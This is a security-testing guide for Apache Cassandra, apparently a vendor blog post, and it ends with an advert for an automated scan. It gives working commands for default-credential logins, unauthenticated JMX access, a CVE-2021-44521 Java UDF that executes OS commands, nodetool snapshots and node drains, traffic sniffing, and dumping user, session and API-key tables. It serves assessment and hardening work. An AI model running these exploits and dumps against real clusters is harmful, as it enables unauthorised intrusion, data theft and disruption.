Apache Cassandra Security Testing: JMX Remote Code Execution, CQL Injection, and Inter-Node Auth Bypass

Apache Cassandra is the go-to distributed database for high-scale applications, but its security defaults are notoriously weak: JMX (Java Management Extensions) is often unauthenticated on port 7199, default credentials ship as cassandra/cassandra, inter-node communication runs without mutual TLS, and the nodetool utility can be invoked remotely to dump keyspace data or execute management operations. This guide covers systematic Cassandra security assessment from network discovery through RCE validation.

Table of Contents

  1. Cassandra Port Discovery and Service Fingerprinting
  2. Authentication Testing: Default Credentials
  3. JMX Remote Code Execution
  4. CQL Injection Testing
  5. Inter-Node Communication Security
  6. Nodetool Exploitation
  7. Data Exposure and Keyspace Enumeration
  8. Cassandra Security Hardening

Cassandra Port Discovery and Service Fingerprinting

PortServiceAttack Surface
9042CQL native transport (client-server)Authentication bypass, CQL injection, data exfiltration
9160Thrift API (legacy)Unauthenticated access on old clusters, deprecated but still present
7199JMX (Java Management Extensions)Remote code execution, MBean exploitation, credential dump
7000Inter-node gossip (non-TLS)Cluster topology enumeration, gossip injection
7001Inter-node gossip (TLS)Certificate validation bypass, mutual auth check
8080Prometheus metrics (optional)Cluster topology, performance data without auth
# Discover Cassandra nodes
nmap -sV -p 9042,9160,7199,7000,7001 --script cassandra-info TARGET

# Cassandra version and cluster name via CQL
nc -w 3 TARGET 9042 2>/dev/null | strings | grep -i "cassandra\|cluster"

# JMX port check
nmap -sV -p 7199 --script rmi-dumpregistry TARGET

# Check if Prometheus metrics endpoint is exposed
curl -s http://TARGET:8080/metrics | grep -E "cassandra_|# HELP" | head -20

Authentication Testing: Default Credentials

# Default Cassandra credentials: cassandra/cassandra
# Many deployments never change them

# Test with cqlsh
cqlsh TARGET 9042 -u cassandra -p cassandra

# If successful — list all keyspaces
cqlsh TARGET 9042 -u cassandra -p cassandra -e "DESCRIBE KEYSPACES;"

# Enumerate superusers
cqlsh TARGET 9042 -u cassandra -p cassandra -e "LIST ALL;"
cqlsh TARGET 9042 -u cassandra -p cassandra -e "SELECT role, is_superuser, can_login FROM system_auth.roles;"

# Check if authentication is enabled at all
# When auth is disabled (authenticator: AllowAllAuthenticator), any credentials work
cqlsh TARGET 9042 -u anyuser -p anypassword -e "DESCRIBE KEYSPACES;" 2>&1
# Success with garbage credentials → AllowAllAuthenticator = no auth

# Check cassandra.yaml for auth configuration (if file access available)
grep -E "authenticator|authorizer" /etc/cassandra/cassandra.yaml
# authenticator: AllowAllAuthenticator → unauthenticated access
# authenticator: PasswordAuthenticator → credential-based auth

JMX Remote Code Execution

Cassandra exposes JMX on port 7199 for management operations. If unauthenticated, an attacker can invoke StorageService MBeans to snapshot data, reload configuration, or execute arbitrary code via the executeOnMBean path.

# Check if JMX requires authentication
# Attempt to connect without credentials
jrunscript -e "
var jmxUrl = new javax.management.remote.JMXServiceURL(
    'service:jmx:rmi:///jndi/rmi://TARGET:7199/jmxrmi');
var connector = javax.management.remote.JMXConnectorFactory.connect(jmxUrl, null);
var mbsc = connector.getMBeanServerConnection();
print('Connected! MBeans: ' + mbsc.getMBeanCount());
connector.close();
" 2>&1 | head -10
# "Connected! MBeans: XXX" → unauthenticated JMX access

# Using jmxterm (interactive JMX client)
java -jar jmxterm.jar
> open TARGET:7199
> beans  # List all MBeans — reveals Cassandra management interface
> bean org.apache.cassandra.db:type=StorageService
> info

# Cassandra JMX dangerous operations (unauthenticated):
# 1. Take a snapshot of all keyspaces
> run takeSnapshot "" "" ""

# 2. Read token ring — reveals all node IPs and partitioner info
> run describeRing "system_auth"

# 3. Force compaction (potential DoS)
> bean org.apache.cassandra.db:type=CompactionManager
> run forceUserDefinedCompaction "target_keyspace" "target_table" ""

# 4. Get all live endpoints — full cluster topology
> bean org.apache.cassandra.db:type=StorageService
> get LiveNodes

# JMX RCE via MLet ClassLoader (if JMX version vulnerable)
# This is a well-known Java JMX attack — test if ClassLoaderRepository is accessible
java -cp ".:tools/jmxterm.jar" AttackJMX TARGET 7199

CQL Injection Testing

CQL (Cassandra Query Language) uses prepared statements, but applications that concatenate user input directly into CQL queries are vulnerable. The impact differs from SQL injection due to CQL's limited query capabilities, but data exfiltration via ALLOW FILTERING and partition key enumeration is realistic.

# Identify CQL injection points in web application requests
# Look for queries using user-controlled values for partition keys or ALLOW FILTERING

# Basic injection test — inject single quote to cause syntax error
# Vulnerable application code example (Python):
# query = f"SELECT * FROM users WHERE username = '{user_input}'"
# session.execute(query)

# Test input: ' OR '1'='1
# Cassandra CQL doesn't support OR in WHERE for secondary indexes like SQL,
# but quote injection can cause syntax errors that confirm injection points

# Example: application queries by user ID
# Inject into user_id field: '; DROP TABLE users; --
# Cassandra doesn't support ; in a query, but error response reveals injection

# Test for UDF (User-Defined Function) injection in Cassandra with Nashorn disabled
# CVE-2021-44521: UDF execution engine allowed arbitrary code execution
# Check if UDFs are enabled
cqlsh TARGET -u cassandra -p cassandra -e "DESCRIBE FUNCTIONS;"
# If functions exist: attempt Java UDF to read files
cqlsh TARGET -u cassandra -p cassandra -e "
CREATE OR REPLACE FUNCTION test_udf(input text)
RETURNS NULL ON NULL INPUT
RETURNS text
LANGUAGE java
AS 'return (new java.io.BufferedReader(
    new java.io.InputStreamReader(
        Runtime.getRuntime().exec(\"id\").getInputStream()
    ))).readLine();';
"
cqlsh TARGET -u cassandra -p cassandra -e "SELECT test_udf('') FROM system.local;"
# If CVE-2021-44521 exploitable → OS command execution as cassandra user

# Check Cassandra version for UDF CVE
cqlsh TARGET -u cassandra -p cassandra -e "SELECT release_version FROM system.local;"
# 3.0.x < 3.0.26, 3.11.x < 3.11.12, 4.0.x < 4.0.2 → vulnerable to CVE-2021-44521

Inter-Node Communication Security

# Cassandra inter-node gossip on port 7000 (no TLS) or 7001 (TLS)
# Check if TLS is enforced for inter-node communication

grep -E "server_encryption_options|internode_encryption" /etc/cassandra/cassandra.yaml
# internode_encryption: none → all inter-node traffic is plaintext
# internode_encryption: all → mutual TLS required

# Test: can we connect to the inter-node gossip port?
nmap -sV -p 7000,7001 TARGET

# If port 7000 is accessible: use cassandra-stress or nodetool to send gossip messages
# Sniff inter-node traffic on the cluster subnet (if on-path)
tcpdump -i eth0 -w /tmp/cassandra-internode.pcap -n "port 7000" &
sleep 30; kill %1
# Analyze for plaintext data in gossip messages
strings /tmp/cassandra-internode.pcap | grep -i "keyspace\|table\|token"

# Check if client-server encryption is enforced
grep -A 10 "client_encryption_options" /etc/cassandra/cassandra.yaml
# enabled: false → client connections are plaintext
# All credentials transmitted in plaintext (including AUTHENTICATE challenges)

Nodetool Exploitation

# nodetool connects to Cassandra via JMX — if JMX is unauthenticated, nodetool works remotely
# nodetool -h TARGET -p 7199 

# List keyspaces and tables (data topology enumeration)
nodetool -h TARGET -p 7199 status
nodetool -h TARGET -p 7199 describecluster
nodetool -h TARGET -p 7199 ring

# Read partition key ranges — helps target data exfiltration
nodetool -h TARGET -p 7199 getendpoints KEYSPACE TABLE "partition_key_value"

# Take snapshot of all keyspaces — backup to local filesystem
nodetool -h TARGET -p 7199 snapshot --tag security-test

# Snapshots are stored in Cassandra data directory:
# /var/lib/cassandra/data/KEYSPACE/TABLE-*/snapshots/security-test/
# If attacker has filesystem access or can read snapshot via JMX file path

# Force flush memtable to disk (useful for subsequent file system access)
nodetool -h TARGET -p 7199 flush

# Drain node (potential DoS — marks node as DOWN)
# nodetool -h TARGET -p 7199 drain  # DANGEROUS — do not run in production

# Check nodetool auth enforcement
# cassandra.yaml jmx_authentication: true should be set
# and jmx.password file should exist
ls /etc/cassandra/jmxremote.password 2>/dev/null || echo "No JMX password file"

Data Exposure and Keyspace Enumeration

# Full data enumeration once authenticated (default creds or auth bypass)

# List all keyspaces
cqlsh TARGET -u cassandra -p cassandra -e "SELECT keyspace_name FROM system_schema.keyspaces;"

# List tables in all keyspaces
cqlsh TARGET -u cassandra -p cassandra -e "SELECT keyspace_name, table_name FROM system_schema.tables;"

# Dump sensitive tables — check for PII, credentials, tokens
# system_auth.credentials (Cassandra 2.x password hash storage)
cqlsh TARGET -u cassandra -p cassandra -e "SELECT * FROM system_auth.credentials LIMIT 10;"

# Custom application keyspaces — check for user tables
cqlsh TARGET -u cassandra -p cassandra <<'EOF'
USE application_keyspace;
SELECT * FROM users LIMIT 5;
SELECT * FROM sessions LIMIT 5;
SELECT * FROM api_keys LIMIT 5;
EOF

# Extract all data via COPY (exports to CSV)
cqlsh TARGET -u cassandra -p cassandra -e "COPY users TO '/tmp/users_dump.csv' WITH HEADER=true;"

# Check for ALLOW FILTERING queries in application (performance indicator of insecure query patterns)
# ALLOW FILTERING is a risk flag — full-table scans with filter can leak entire table

Cassandra Security Hardening

Cassandra Security Hardening Checklist:
Security TestMethodRisk
Default cassandra/cassandra credentialscqlsh with default credsCritical
Unauthenticated JMX on port 7199jrunscript or jmxterm connect without credsCritical
AllowAllAuthenticator (no auth)cqlsh with random credentialsCritical
CVE-2021-44521 UDF RCECreate Java UDF with exec() callCritical
Plaintext inter-node gossipCheck internode_encryption settingHigh
Plaintext client-server traffictcpdump on port 9042 — look for credentialsHigh
Unrestricted nodetool accessnodetool status from external hostHigh

Automate Cassandra Security Testing

Ironimo tests your Cassandra deployment for default credential exposure, unauthenticated JMX access, CVE-2021-44521 UDF exploitation paths, inter-node TLS enforcement, and data exposure via unauthenticated CQL access.

Start free scan